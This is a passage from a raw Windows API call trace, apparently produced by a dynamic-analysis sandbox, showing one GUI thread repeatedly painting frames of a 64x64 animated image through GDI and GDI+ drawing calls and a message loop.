hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.149] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.149] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.149] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.149] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.149] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.149] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.149] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.149] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.150] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0175.150] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.150] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.150] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.151] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.151] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.151] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.151] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.151] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.151] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.151] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.151] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.151] GetCurrentObject (hdc=0x21010d05, type=0x1) returned 0x1b00017 [0175.151] GetCurrentObject (hdc=0x21010d05, type=0x2) returned 0x1900010 [0175.151] GetCurrentObject (hdc=0x21010d05, type=0x7) returned 0x1a05067e [0175.152] GetCurrentObject (hdc=0x21010d05, type=0x6) returned 0x18a002e [0175.152] SaveDC (hdc=0x21010d05) returned 1 [0175.152] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2f040b8a [0175.152] GetClipRgn (hdc=0x21010d05, hrgn=0x2f040b8a) returned 0 [0175.152] SelectClipRgn (hdc=0x21010d05, hrgn=0x5f0407c3) returned 2 [0175.152] DeleteObject (ho=0x2f040b8a) returned 1 [0175.152] DeleteObject (ho=0x5f0407c3) returned 1 [0175.152] OffsetViewportOrgEx (in: hdc=0x21010d05, x=0, y=0, lppt=0x2756710 | out: lppt=0x2756710) returned 1 [0175.152] GetNearestColor (hdc=0x21010d05, color=0xffffff) returned 0xffffff [0175.153] CreateSolidBrush (color=0xffffff) returned 0x37100190 [0175.153] FillRect (hDC=0x21010d05, lprc=0x15d7c0, hbr=0x37100190) returned 1 [0175.153] DeleteObject (ho=0x37100190) returned 1 [0175.153] RestoreDC (hdc=0x21010d05, nSavedDC=-1) returned 1 [0175.153] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.153] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010d05) returned 0x0 [0175.153] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb780dbd) returned 0x0 [0175.153] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.153] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0175.153] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.153] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.153] GetSystemMetrics (nIndex=42) returned 0 [0175.154] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.154] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.154] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.154] CoTaskMemFree (pv=0x1e91eca0) [0175.154] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0175.156] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.156] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.156] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.156] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.156] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x21010d05, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.157] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.157] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010d05) returned 0x0 [0175.157] SelectObject (hdc=0x21010d05, h=0x185000f) returned 0x1a05067e [0175.157] DeleteDC (hdc=0x21010d05) returned 1 [0175.157] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.157] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.157] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.157] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.157] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.157] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.157] WaitMessage () returned 1 [0175.301] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.301] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.301] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.301] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.301] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.302] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.302] GetCurrentThreadId () returned 0xec0 [0175.302] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.302] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.302] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.302] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.302] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.302] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.302] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.302] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.303] CreateCompatibleDC (hdc=0x2d010b73) returned 0x2010d3a [0175.303] SelectObject (hdc=0x2010d3a, h=0x1a05067e) returned 0x185000f [0175.303] GdipCreateFromHDC (hdc=0x2010d3a, graphics=0x15daf0) returned 0x0 [0175.303] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.303] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.303] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.303] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.303] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.303] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.303] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.304] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.304] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.304] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.304] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.305] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0175.305] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.305] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.305] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.305] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.305] GetSystemMetrics (nIndex=42) returned 0 [0175.305] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.305] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.305] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.305] CoTaskMemFree (pv=0x1e91eca0) [0175.305] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.305] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.306] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.306] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.306] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.306] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.306] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.306] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.306] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.307] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0175.307] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.307] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.307] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.307] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.307] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.307] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.307] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.308] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.308] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.308] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.308] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.308] GetCurrentObject (hdc=0x2010d3a, type=0x1) returned 0x1b00017 [0175.308] GetCurrentObject (hdc=0x2010d3a, type=0x2) returned 0x1900010 [0175.308] GetCurrentObject (hdc=0x2010d3a, type=0x7) returned 0x1a05067e [0175.308] GetCurrentObject (hdc=0x2010d3a, type=0x6) returned 0x18a002e [0175.308] SaveDC (hdc=0x2010d3a) returned 1 [0175.308] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x600407c3 [0175.309] GetClipRgn (hdc=0x2010d3a, hrgn=0x600407c3) returned 0 [0175.309] SelectClipRgn (hdc=0x2010d3a, hrgn=0x30040b8a) returned 2 [0175.309] DeleteObject (ho=0x600407c3) returned 1 [0175.309] DeleteObject (ho=0x30040b8a) returned 1 [0175.309] OffsetViewportOrgEx (in: hdc=0x2010d3a, x=0, y=0, lppt=0x2757a10 | out: lppt=0x2757a10) returned 1 [0175.309] GetNearestColor (hdc=0x2010d3a, color=0xffffff) returned 0xffffff [0175.309] CreateSolidBrush (color=0xffffff) returned 0x38100190 [0175.309] FillRect (hDC=0x2010d3a, lprc=0x15d7c0, hbr=0x38100190) returned 1 [0175.309] DeleteObject (ho=0x38100190) returned 1 [0175.310] RestoreDC (hdc=0x2010d3a, nSavedDC=-1) returned 1 [0175.310] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.310] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2010d3a) returned 0x0 [0175.310] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb760dbd) returned 0x0 [0175.310] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.310] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0175.310] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.310] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.310] GetSystemMetrics (nIndex=42) returned 0 [0175.310] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.310] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.310] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.310] CoTaskMemFree (pv=0x1e91eca0) [0175.311] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.311] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.311] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.311] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.311] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x2010d3a, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.311] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.311] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2010d3a) returned 0x0 [0175.311] SelectObject (hdc=0x2010d3a, h=0x185000f) returned 0x1a05067e [0175.311] DeleteDC (hdc=0x2010d3a) returned 1 [0175.312] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.312] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.312] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.312] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.312] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.312] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.312] WaitMessage () returned 1 [0175.426] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.426] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.426] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.427] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.427] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.427] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.427] GetCurrentThreadId () returned 0xec0 [0175.427] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.427] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.427] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.427] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.427] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.427] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.427] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.427] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.428] CreateCompatibleDC (hdc=0x2d010b73) returned 0xa010d36 [0175.428] SelectObject (hdc=0xa010d36, h=0x1a05067e) returned 0x185000f [0175.428] GdipCreateFromHDC (hdc=0xa010d36, graphics=0x15daf0) returned 0x0 [0175.428] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.428] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.428] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.428] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.428] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.428] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.428] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.429] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.429] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.429] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.429] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.429] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0175.429] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.430] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.430] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.430] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.430] GetSystemMetrics (nIndex=42) returned 0 [0175.430] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.430] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.430] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.430] CoTaskMemFree (pv=0x1e91eca0) [0175.430] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.430] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.430] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.430] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.430] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.431] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.431] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.431] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.431] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.431] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0175.431] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.432] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.432] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.432] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.432] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.432] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.432] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.432] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.432] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.432] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.432] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.433] GetCurrentObject (hdc=0xa010d36, type=0x1) returned 0x1b00017 [0175.433] GetCurrentObject (hdc=0xa010d36, type=0x2) returned 0x1900010 [0175.433] GetCurrentObject (hdc=0xa010d36, type=0x7) returned 0x1a05067e [0175.433] GetCurrentObject (hdc=0xa010d36, type=0x6) returned 0x18a002e [0175.433] SaveDC (hdc=0xa010d36) returned 1 [0175.433] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x31040b8a [0175.433] GetClipRgn (hdc=0xa010d36, hrgn=0x31040b8a) returned 0 [0175.433] SelectClipRgn (hdc=0xa010d36, hrgn=0x610407c3) returned 2 [0175.433] DeleteObject (ho=0x31040b8a) returned 1 [0175.433] DeleteObject (ho=0x610407c3) returned 1 [0175.433] OffsetViewportOrgEx (in: hdc=0xa010d36, x=0, y=0, lppt=0x2758348 | out: lppt=0x2758348) returned 1 [0175.433] GetNearestColor (hdc=0xa010d36, color=0xffffff) returned 0xffffff [0175.434] CreateSolidBrush (color=0xffffff) returned 0x39100190 [0175.434] FillRect (hDC=0xa010d36, lprc=0x15d7c0, hbr=0x39100190) returned 1 [0175.434] DeleteObject (ho=0x39100190) returned 1 [0175.434] RestoreDC (hdc=0xa010d36, nSavedDC=-1) returned 1 [0175.434] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.434] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xa010d36) returned 0x0 [0175.434] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb740dbd) returned 0x0 [0175.434] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.434] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0175.434] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.434] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.434] GetSystemMetrics (nIndex=42) returned 0 [0175.434] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.435] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.435] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.435] CoTaskMemFree (pv=0x1e91eca0) [0175.435] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0175.437] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.437] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.437] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.437] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.437] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0xa010d36, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.437] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.437] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xa010d36) returned 0x0 [0175.438] SelectObject (hdc=0xa010d36, h=0x185000f) returned 0x1a05067e [0175.438] DeleteDC (hdc=0xa010d36) returned 1 [0175.438] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.438] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.438] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.438] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.438] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.438] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.438] WaitMessage () returned 1 [0175.561] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.561] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.561] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.561] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.561] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.561] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.561] GetCurrentThreadId () returned 0xec0 [0175.561] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.561] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.561] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.561] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.561] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.561] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.561] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.562] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.562] CreateCompatibleDC (hdc=0x2d010b73) returned 0x8010d30 [0175.562] SelectObject (hdc=0x8010d30, h=0x1a05067e) returned 0x185000f [0175.562] GdipCreateFromHDC (hdc=0x8010d30, graphics=0x15daf0) returned 0x0 [0175.562] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.562] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.562] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.562] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.562] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.563] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.563] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.563] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.563] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.563] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.563] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.564] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0175.564] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.564] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.564] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.564] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.564] GetSystemMetrics (nIndex=42) returned 0 [0175.564] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.564] GetWindowTextW (in: 